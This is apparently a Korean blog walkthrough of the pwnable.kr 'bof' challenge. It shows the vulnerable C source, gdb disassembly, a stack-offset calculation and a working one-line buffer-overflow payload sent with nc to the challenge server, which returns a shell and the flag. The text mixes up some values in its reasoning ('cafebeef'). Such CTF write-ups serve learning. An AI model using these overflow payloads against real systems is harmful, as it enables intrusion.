일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
- memory
- html
- 윈도우 프로세스
- 실기
- ftz
- disk
- 24시간의 전사
- 윈도우 프로세스 종류
- CTF-D
- 슬퍼유
- network
- 네트워크 보안
- 생활코딩
- 정보처리기사 필기 합격
- Window process
- ZIP 파일구조
- 는 하지마...
- pythonchallenge
- blkls
- vinetto
- 2022시작
- slack space
- 디지털포렌식
- 디지털포렌식 with CTF
- 네트워크관리사2급
- N0Named
- Multimeida
- 포렌식
- Multimedia
- 생활코딩 html
- Today
- Total
ssoL2 TISTORY
pwnable.kr [bof] 본문
Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
1. func 에 deadbeef넣었는데 func에서 key값이 overflow로 cafebabe로 덮여지면 빈쉬 얻을 수 있는 방식임
2. main과 function을 gdb로 살펴봄
Dump of assembler code for function main:
0x0000068a <+0>: push ebp
0x0000068b <+1>: mov ebp,esp
0x0000068d <+3>: and esp,0xfffffff0
0x00000690 <+6>: sub esp,0x10
0x00000693 <+9>: mov DWORD PTR [esp],0xdeadbeef
0x0000069a <+16>: call 0x62c
0x0000069f <+21>: mov eax,0x0
0x000006a4 <+26>: leave
0x000006a5 <+27>: ret
End of assembler dump.
Dump of assembler code for function func:
0x0000062c <+0>: push ebp
0x0000062d <+1>: mov ebp,esp
0x0000062f <+3>: sub esp,0x48
0x00000632 <+6>: mov eax,gs:0x14
0x00000638 <+12>: mov DWORD PTR [ebp-0xc],eax
0x0000063b <+15>: xor eax,eax
0x0000063d <+17>: mov DWORD PTR [esp],0x78c
0x00000644 <+24>: call 0x645 <func+25>
0x00000649 <+29>: lea eax,[ebp-0x2c]
0x0000064c <+32>: mov DWORD PTR [esp],eax
0x0000064f <+35>: call 0x650 <func+36>
0x00000654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe
0x0000065b <+47>: jne 0x66b <func+63>
0x0000065d <+49>: mov DWORD PTR [esp],0x79b
0x00000664 <+56>: call 0x665 <func+57>
0x00000669 <+61>: jmp 0x677 <func+75>
0x0000066b <+63>: mov DWORD PTR [esp],0x7a3
0x00000672 <+70>: call 0x673 <func+71>
0x00000677 <+75>: mov eax,DWORD PTR [ebp-0xc]
0x0000067a <+78>: xor eax,DWORD PTR gs:0x14
0x00000681 <+85>: je 0x688 <func+92>
0x00000683 <+87>: call 0x684 <func+88>
0x00000688 <+92>: leave
0x00000689 <+93>: ret
End of assembler dump.
스택을 그려봄
그려봄.,,맞는지 아닌지는 모르겠음
아무튼간에 gdb랑 같이 하나하나 해석해 나가면 해결할 수 있음
일단 gets함수에서 overflow나는 것은 당연한 사실임
gets함수가 func 어셈블리에서 0x0000064c <+32>: mov DWORD PTR [esp],eax 다음임.
따라서 esp가 0x2c인데 거기에 eax를 넣는 다는 거는
gets함수를 통해서 overflowme라는 변수에 값을 넣는 거랑 똑같은 말임
따라서 이 overflowme 변수를 다 덮고 쭉쭉 다 덮고 밑에 ebp까지 덮고 return address까지 덮는 다음에 나오는 key값인 deadbeaf를 우리가 원하는 cafebeef로 덮으면 됨
따라서 0x2c + 4 (ebp) + 4 (return address) + 0xcafebeef
= 44+4+4+0xcafebeef
= 52 + 0xcafebeef
근데 cafebeef이거 들어갈때는 리틀인디언이므로 거꾸로 써줘야돼 뭔소륀지 알쥥~~?
따라서 이거야.
(python -c 'print "A"*52+"\xbe\xba\xfe\xca"';cat)| nc pwnable.kr 9000
ls
bof
bof.c
flag
log
log2
super.pl
cat flag
daddy, I just pwned a buFFer :)
'challenge > pwn' 카테고리의 다른 글
[FTZ] LEVEL 1 풀이 (0) | 2020.11.14 |
---|---|
pwnable.kr [flag] (0) | 2019.07.09 |
pwnable.kr [collision] (0) | 2019.07.08 |
pwnable.kr [fd] (0) | 2019.07.08 |
lob [Level2] gremlin > cobolt (1) (6) | 2018.11.04 |